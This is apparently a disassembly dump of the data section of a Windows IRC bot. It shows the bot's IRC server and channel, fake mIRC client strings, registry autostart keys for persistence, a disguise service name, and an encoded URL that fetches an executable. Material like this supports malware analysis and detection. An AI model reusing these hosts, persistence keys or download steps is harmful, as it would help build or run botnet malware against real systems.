		dd 2620000h, 26207DDh, 26209AEh
dword_42703C	dd 26209CCh		; DATA XREF: ___:004230E1r
		dd 2620A7Eh, 2620C55h, 2620C88h, 2620D63h, 2630000h, 2640000h
		dd 264100Eh, 264135Bh, 2641986h, 26419ABh, 2650000h, 265071Ah
		dd 2650B77h, 77E75CB5h
dword_427078	dd 2660000h		; DATA XREF: sub_40111D+B8r
					; ___:004014F9r ...
		dd 26603BDh, 2670000h, 2680000h
dword_427088	dd 268051Bh		; DATA XREF: sub_40111D+29r
					; sub_40C3D3+2E5r ...
dword_42708C	dd 26805C5h		; DATA XREF: ___:004015DCr
					; sub_411694+32r
		dd 26807FFh
dword_427094	dd 2680883h		; DATA XREF: sub_419BAA+B9r
		dd 2680D91h
dword_42709C	dd 2680DCDh		; DATA XREF: sub_4119B7:loc_411A48r
dword_4270A0	dd 2690000h		; DATA XREF: ___:loc_4013D9r
		dd 2690408h, 269058Ah
dword_4270AC	dd 26906BCh		; DATA XREF: sub_4098FD+2r
		dd 2690830h, 26A0000h
dword_4270B8	dd 26A0729h		; DATA XREF: ___:0040124Dr
					; sub_41A9BC+8Cr
dword_4270BC	dd 26A07C0h		; DATA XREF: sub_411694:loc_411780r
		dd 26B0000h, 26B0B7Eh
dword_4270C8	dd 26B0C73h		; DATA XREF: sub_4098FD:loc_409E0Br
dword_4270CC	dd 26C0000h		; DATA XREF: sub_4098FD+11r
					; sub_417269+60r ...
		dd 26D0000h, 26E0000h, 26E0636h, 26F0000h, 77F7E300h, 77F7E21Fh
		dd 26F05B2h, 26F0716h
dword_4270F0	dd 2700000h		; DATA XREF: sub_419134+Fr
					; sub_41DFD4+54r ...
dword_4270F4	dd 2710000h		; DATA XREF: sub_4119B7+Br
		dd 2720000h, 2730000h
dword_427100	dd 27306D8h		; DATA XREF: sub_418791+36r
		dd 27309E0h, 2730D36h, 2740000h
dword_427110	dd 2740594h		; DATA XREF: sub_4118DE+3Ar
					; sub_41A152+79r
dword_427114	dd 2750000h		; DATA XREF: sub_4117E5+23r
					; sub_41A152+3Br
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 14h,	75h, 2
		dd 2760000h, 2760AD0h, 2770000h, 2770503h, 2780000h, 2790000h
		dd 2791104h, 2791C50h, 27A0000h, 27A007Bh, 27A018Bh, 27A0486h
		dd 27B0000h, 27B0737h
dword_427154	dd 27C0000h		; DATA XREF: sub_417269+BCr
		dd 27C0620h
dword_42715C	dd 27D0000h		; DATA XREF: sub_41743B+21r
					; sub_4175C4+4Ar
dword_427160	dd 27D08F7h		; DATA XREF: sub_41743B+10r
					; sub_4175C4+40r ...
		dd 27D095Eh
dword_427168	dd 27D0BA6h		; DATA XREF: sub_4175C4+56r
		dd 27E0000h, 27F0000h, 2800000h, 28005BFh, 2800B44h, 2810000h
		dd 281012Ah, 281070Dh, 2820000h, 2830000h
dword_427194	dd 28310EEh		; DATA XREF: sub_419062+13r
					; ___:00423156r ...
		dd 2840000h, 28404DFh, 2840987h, 2850000h, 2860000h, 2870000h
		dd 28721CCh, 2880000h, 2890000h, 28A0000h, 28A1A62h, 28A1AAAh
		dd 28A1C3Fh, 28B0000h
dword_4271D0	dd 28B0518h		; DATA XREF: sub_41E4A2+23Fr
		align 8
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB4122h
dword_4271E4	dd 71AB1746h		; DATA XREF: sub_4131AA+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5A01h, 71AB868Dh, 71AB12F8h, 71AB1746h
		dd 71AB3E5Dh
dword_427214	dd 71AB5690h		; DATA XREF: sub_40E9CB+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 71AB5DE2h, 0
dword_427238	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_427638	dd 2Eh			; DATA XREF: sub_401AC7+3448o
					; sub_401AC7+3527o ...
dword_42763C	dd 2Eh			; DATA XREF: sub_401AC7+3857o
					; sub_401AC7+3897o ...
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D4C9+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dbl_427680	dq 1.388888888888889e-2	; DATA XREF: sub_40D2DB+2Fr
dbl_427688	dq 1.666666666666667e-1	; DATA XREF: sub_40D2DB+15r
dword_427690	dd 0FFFFFFFFh		; DATA XREF: sub_40D327+16Fr
					; sub_40D765r ...
		align 8
dbl_427698	dq 1.333333333333333	; DATA XREF: sub_40D327+79r
dword_4276A0	dd 0			; DATA XREF: sub_40D4C9+4Do
					; sub_40D815+5Bo ...
flt_4276A4	dd 5.0e-1		; DATA XREF: ___:0040E71Cr
dbl_4276A8	dq 9.765625e-4		; DATA XREF: ___:00416A11r
					; ___:00416A2Cr ...
dbl_4276B0	dq -1.52587890625e-4	; DATA XREF: sub_417E35+3E5r
dbl_4276B8	dq 3.0517578125e-4	; DATA XREF: sub_417E35+3C5r
dbl_4276C0	dq -3.0517578125e-4	; DATA XREF: sub_417E35+342r
					; sub_417E35+3A7r
dbl_4276C8	dq 1.52587890625e-4	; DATA XREF: sub_417E35+271r
dbl_4276D0	dq -1.739501953125e-3	; DATA XREF: sub_417E35+24Br
					; sub_417E35+2D5r ...
dbl_4276D8	dq 3.11279296875e-3	; DATA XREF: sub_417E35+E1r
dbl_4276E0	dq 3.0517578125e-5	; DATA XREF: sub_417E35+AEr
					; sub_417E35+138r ...
dbl_4276E8	dq 6.103515625e-5	; DATA XREF: sub_417E35+93r
					; sub_417E35+308r
dbl_4276F0	dq 2.288818359375e-3	; DATA XREF: sub_417E35+21r
dbl_4276F8	dq -3.0517578125e-5	; DATA XREF: sub_418B82+2Br
flt_427700	dd 9.765625e-4		; DATA XREF: sub_41A9BC+1AEr
flt_427704	dd 8.0			; DATA XREF: sub_41A9BC+1A8r
					; sub_41F5D4+4Ar
flt_427708	dd 0.0			; DATA XREF: sub_41A9BC+16Fr
flt_42770C	dd 1.0e-3		; DATA XREF: sub_41A9BC+166r
dbl_427710	dq 1.0			; DATA XREF: sub_41CDE5+6Cr
					; sub_41CF2B+6Cr ...
		dd 0FFFFFFFFh, 41E1AAh,	41E1BEh
byte_427724	db 6			; DATA XREF: sub_41F5D4:loc_41F62Br
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43A89Co
		unicode	0, <(null)>,0
		align 10h
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43A898o
		align 4
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 10h
aAtan2		db 'atan2',0
		align 4
aAtan		db 'atan',0
		align 10h
aAcos		db 'acos',0
		align 4
aAsin		db 'asin',0
		align 10h
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 10h
aSinh		db 'sinh',0
		align 4
aLog10		db 'log10',0
		align 10h
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43AB14o
dbl_427848	dq 0.0			; DATA XREF: sub_421294+8Cr
					; sub_421294+ACr ...
dbl_427850	dq 4.195835e6		; DATA XREF: sub_4217A9+Fr
dbl_427858	dq 3.145727e6		; DATA XREF: sub_4217A9+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4217E7+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_4217E7o
		align 4
aE000		db 'e+000',0            ; DATA XREF: sub_42190E+93o
		align 10h
dword_427890	dd 0FFFFFFFFh, 421FF9h,	422003h, 0 ; DATA XREF:	sub_421F92+5o
dword_4278A0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4220C1+5o
		dd offset loc_42217F
		align 10h
		dd offset sub_42215D
		dd offset sub_422167
dword_4278B8	dd 0FFFFFFFFh, 4223AFh,	4223B3h, 0 ; DATA XREF:	sub_4221F7+5o
dword_4278C8	dd 0FFFFFFFFh, 422411h,	42241Ah, 0 ; DATA XREF:	sub_4223BB+5o
dword_4278D8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42249C+5o
		dd offset loc_4224ED
		align 8
		dd offset loc_4224D9
		dd offset loc_4224DD
dword_4278F0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4224F2+5o
		dd offset loc_422543
		align 10h
		dd offset loc_42252F
		dd offset loc_422533
dword_427908	dd 2 dup(0)		; DATA XREF: sub_4229D2+36o
					; sub_423BF4+39o ...
dword_427910	dd 0FFFFFFFFh, 422AE2h,	422AE6h, 0FFFFFFFFh, 422B96h, 422B9Ah
					; DATA XREF: sub_4229D2+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43ACECo
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4234D1+119o
		align 4
asc_427BD8	db 0Ah			; DATA XREF: sub_4234D1+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4234D1+D3o
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0              ; DATA XREF: sub_4234D1+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4234D1+7Do
		align 8
dword_427C18	dd 0FFFFFFFFh, 423CEDh,	423CF1h	; DATA XREF: sub_423BF4+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_4246FC+Ao
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_424C88+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_424C88+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_424C88+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_42559E:loc_425693o
		align 10h
a1Inf		db '1#INF',0            ; DATA XREF: sub_42559E+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_42559E+C7o
		align 10h
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_42559E+ADo
		align 4
dword_427CB8	dd 0FFFFFFFFh, 425F96h,	425F9Ah, 0FFFFFFFFh, 426005h, 426009h
					; DATA XREF: sub_425DDF+5o
		dd 427DF4h
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		align 4
		dd offset sub_4263B5
		dd offset sub_4265D6
		dd offset dword_427E40
off_427CE4	dd offset sub_42642C	; DATA XREF: sub_4263DE+3Ao
					; sub_426448o ...
		dd offset sub_4263B5
		dd offset loc_426612
dword_427CF0	dd 0			; DATA XREF: sub_4263DE+16o
					; sub_4264B0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426453+11o
		dd offset dword_427E8C
off_427D10	dd offset sub_42653B	; DATA XREF: sub_426557o
					; sub_42657A+37o ...
		dd offset sub_4263B5
		dd offset loc_4265F4
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42657A+11o
		dd offset dword_427ED0
off_427D30	dd offset loc_426760	; DATA XREF: sub_42674Bo
					; ___:off_43B414o ...
		dd offset dword_427F00
off_427D38	dd offset loc_42677C	; DATA XREF: sub_426798+8o
					; sub_4267D5+8o ...
		dd offset sub_426835
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_426835+7o
		align 8
dword_427D58	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_426842+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427D78	dd 0FFFFFFFFh, 4269F3h,	4269F7h, 0FFFFFFFFh, 426A70h, 426A74h
					; DATA XREF: sub_4268F1+5o
dword_427D90	dd 0FFFFFFFFh, 426C68h,	426C6Ch, 0FFFFFFFFh, 426CC5h, 426CC9h
					; DATA XREF: sub_426B7C+5o
		dd 43B414h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427DC0	dd offset off_43B42C	; DATA XREF: ___:00427DD8o
					; ___:00427E24o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DC0
		dd offset dword_427D90+18h
dword_427DE0	dd 3 dup(0)		; DATA XREF: ___:00427E04o
		dd 2, 427DD8h, 3 dup(0)
		dd offset off_43B42C
		dd offset dword_427DE0+4
off_427E08	dd offset off_43B44C	; DATA XREF: ___:00427E20o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E08
		dd offset off_427DC0
		dd offset dword_427D90+18h
dword_427E2C	dd 3 dup(0)		; DATA XREF: ___:00427E50o
		dd 3, 427E20h
dword_427E40	dd 3 dup(0)		; DATA XREF: ___:00427CE0o
		dd offset off_43B44C
		dd offset dword_427E2C+4
off_427E54	dd offset off_43B46C	; DATA XREF: ___:00427E6Co
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E54
		dd offset off_427DC0
		dd offset dword_427D90+18h
dword_427E78	dd 3 dup(0)		; DATA XREF: ___:00427E9Co
		dd 3, 427E6Ch
dword_427E8C	dd 3 dup(0)		; DATA XREF: ___:00427D0Co
		dd offset off_43B46C
		dd offset dword_427E78+4
off_427EA0	dd offset off_43B490	; DATA XREF: ___:00427EB8o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427EA0
dword_427EBC	dd 3 dup(0)		; DATA XREF: ___:00427EE0o
		dd 1, 427EB8h
dword_427ED0	dd 3 dup(0)		; DATA XREF: ___:00427D2Co
		dd offset off_43B490
		dd offset dword_427EBC+4
		dd offset dword_427D90+18h
dword_427EE8	dd 4 dup(0)		; DATA XREF: ___:00427F10o
		dd 1, 427EE4h
dword_427F00	dd 3 dup(0)		; DATA XREF: ___:00427D34o
		dd offset off_43B414
		dd offset dword_427EE8+8
		align 8
dword_427F18	dd 19930520h, 2, 427F38h, 5 dup(0) ; DATA XREF:	___:loc_426D63o
		dd 0FFFFFFFFh, 426D4Ch,	0
		dd offset sub_426D44
dword_427F48	dd 19930520h, 2, 427F68h, 5 dup(0) ; DATA XREF:	___:loc_426D80o
		dd 0FFFFFFFFh, 426D70h,	0
		dd offset loc_426D78
dword_427F78	dd 19930520h, 2, 427F98h, 1, 427FA8h, 3	dup(0) ; DATA XREF: ___:loc_426D8Co
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427FC0h, 4	dup(0)
		dd offset loc_40DA7F
		dd 0FFFFFFFFh, 426D96h
dword_427FD8	dd 19930520h, 1, 427FD0h, 5 dup(0) ; DATA XREF:	___:loc_426D9Eo
		dd offset off_43B414
		align 10h
		dd 0FFFFFFFFh, 0
		dd 0Ch,	4267D5h, 0
		dd offset off_43B42C
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	4264F8h, 0
		dd offset off_43B44C
		align 8
		dd 0FFFFFFFFh, 0
dword_428040	dd 1Ch,	426562h, 3, 42802Ch, 428010h, 427FF4h ;	DATA XREF: ___:00428064o
dword_428058	dd 0			; DATA XREF: sub_426453+2Eo
					; sub_4265D6+4Bo
		dd offset sub_426448
		dd 0
		dd offset dword_428040+8
		dd 0FFFFFFFFh, 426DA8h
dword_428070	dd 19930520h, 1, 428068h, 4 dup(0) ; DATA XREF:	___:loc_426DB0o
		dd 0FFFFFFFFh, 426DBAh
dword_428094	dd 19930520h, 1, 42808Ch, 4 dup(0) ; DATA XREF:	___:loc_426DC2o
		dd 0FFFFFFFFh, 426DCCh
dword_4280B8	dd 19930520h, 1, 4280B0h, 5 dup(0) ; DATA XREF:	___:loc_426DD4o
		dd offset off_43B46C
		align 10h
		dd 0FFFFFFFFh, 0
dword_4280E8	dd 1Ch,	4265BEh, 3, 4280D4h, 428010h, 427FF4h ;	DATA XREF: ___:0042810Co
dword_428100	dd 0			; DATA XREF: sub_42657A+2Eo
					; sub_4265D6+2Do
		dd offset sub_426557
		dd 0
		dd offset dword_4280E8+8
		dd 0FFFFFFFFh, 426DDEh
dword_428118	dd 19930520h, 1, 428110h, 4 dup(0) ; DATA XREF:	___:loc_426DE6o
dword_428134	dd 2, 428010h, 427FF4h	; DATA XREF: ___:0042814Co
dword_428140	dd 0			; DATA XREF: sub_4265D6+Fo
		dd offset sub_42639A
		dd 0
		dd offset dword_428134
		dd 5 dup(629EB57Bh), 5 dup(16CDD812h), 5 dup(395C3B14h)
		dd 7Ah dup(0)
		dd 395C3B14h, 0
		dd 629EB57Bh, 15h dup(0)
		dd 16CDD812h, 0Eh dup(0)
		dd 53524556h, 2E4E4F49h, 6C6C64h, 2F9h dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041BF23o
		dd offset loc_401205
		dd offset sub_40DB2D
		dd offset sub_40E283
		dd offset dword_40EEEC+1D0h
dword_429014	dd 0			; DATA XREF: ___:0041BF1Eo
dword_429018	dd 0			; DATA XREF: ___:0041BF14o
; ---------------------------------------------------------------------------
		retn	41D7h
; ---------------------------------------------------------------------------
		align 10h
		dd offset sub_4201A2
		dd offset sub_42383E
		dd offset word_424662
dword_42902C	dd 0			; DATA XREF: ___:loc_41BF0Fo
dword_429030	dd 0			; DATA XREF: sub_41BF53+65o
		dd offset sub_4238E3
dword_429038	dd 0			; DATA XREF: sub_41BF53:loc_41BFB3o
dword_42903C	dd 0			; DATA XREF: sub_41BF53+76o
		dd offset byte_424673
dword_429044	dd 3 dup(0)		; DATA XREF: sub_41BF53:loc_41BFC4o
dword_429050	dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: ___:004016BFr
					; ___:00401754r
dword_429070	dd 13FBh		; DATA XREF: ___:004017A0r
dword_429074	dd 1A08h		; DATA XREF: sub_401AC7:loc_4045E2r
dword_429078	dd 45h			; DATA XREF: sub_401AC7+201Er
					; sub_40BD7C+3Br
dword_42907C	dd 1F90h		; DATA XREF: sub_401AC7:loc_403BD0r
					; sub_40BD7C:loc_40C16Dr
dword_429080	dd 201h			; DATA XREF: sub_401AC7:loc_403D5Cr
word_429084	dw 7C7h			; DATA XREF: sub_401AC7:loc_404705r
		align 4
dword_429088	dd 1			; DATA XREF: sub_401AC7+640r
dword_42908C	dd 1			; DATA XREF: ___:loc_40155Fr
					; sub_418857+Cr
byte_429090	db 2Eh			; DATA XREF: sub_401AC7+A6Ar
					; sub_401AC7+B23r ...
		align 4
dword_429094	dd 5			; DATA XREF: sub_40AAA0+39r
					; sub_40AAA0+5Fr ...
dword_429098	dd 6			; DATA XREF: sub_4017E7+78r
					; sub_401AC7+27Cr ...
dword_42909C	dd 1			; DATA XREF: sub_4017E7+72r
					; sub_401AC7+276r
a1221		db '1221',0             ; DATA XREF: ___:0040127Eo
					; sub_401AC7:loc_40443Do ...
		align 4
aZxvsVrx	db 'ZxVs VRX',0         ; DATA XREF: sub_401AC7:loc_40490Co
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401AC7+7BD0o
					; sub_401AC7+7C9Fo
		align 4
aSaber_ircqforu	db 'saber.ircqforum.com',0 ; DATA XREF: ___:004016ABo
					; ___:00401745o
byte_4290D0	db 56h			; DATA XREF: sub_40194F+28r
					; sub_40194F+30o
		db 72h,	58h, 0
dword_4290D4	dd 41414623h, 234Bh	; DATA XREF: ___:004016CBo
					; ___:0040175Bo ...
dword_4290DC	dd 64616173h, 2Eh	; DATA XREF: ___:004016E2o
					; ___:0040176Do
byte_4290E4	db 73h			; DATA XREF: ___:loc_401783r
					; ___:00401791o
aAber_ircqforum	db 'aber.ircqforum.com',0
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004017A7o
		align 10h
aSaad_		db 'saad.',0            ; DATA XREF: ___:004017B9o
		align 4
byte_429108	db 6Dh			; DATA XREF: ___:00401361o
					; ___:00401385w ...
		db 73h,	6Eh, 73h
		dd 2E737267h, 657865h, 6E6E6977h, 61622E74h, 74h
aWindowsService	db 'Windows Service Agent',0 ; DATA XREF: sub_401000+Eo
		align 4
aVrx		db 'VrX|',0
		align 10h
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401AC7+7D1Fo
		align 4
aF		db '#f',0               ; DATA XREF: sub_401AC7+1E81o
					; sub_401AC7+1E92o ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401AC7+72B0o
					; sub_401AC7+7305o
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_401AC7+40EEo
					; sub_401AC7+423Bo
		align 10h
off_429160	dd offset a@admin_com	; DATA XREF: sub_401AC7:loc_4096E1o
					; "*@admin.com"
off_429164	dd offset aMircV6_16Khale ; DATA XREF: sub_401AC7+89Er
					; sub_401AC7+7C36o
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A367+28o
					; sub_41A68B+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A367+D4o
					; sub_41A68B+D4o
		align 4
		dd 2 dup(1), 70747468h,	772F2F3Ah, 662E7777h, 77656572h
		dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h
		dd 652E6D79h, 6578h, 42993Ch, 42992Ch, 42991Ch,	429910h
		dd 429908h, 429900h, 4298F8h, 4298F0h, 4298E4h,	4298DCh
		dd 4298D4h, 4298CCh, 4298C0h, 4298B8h, 4298B0h,	4298A4h
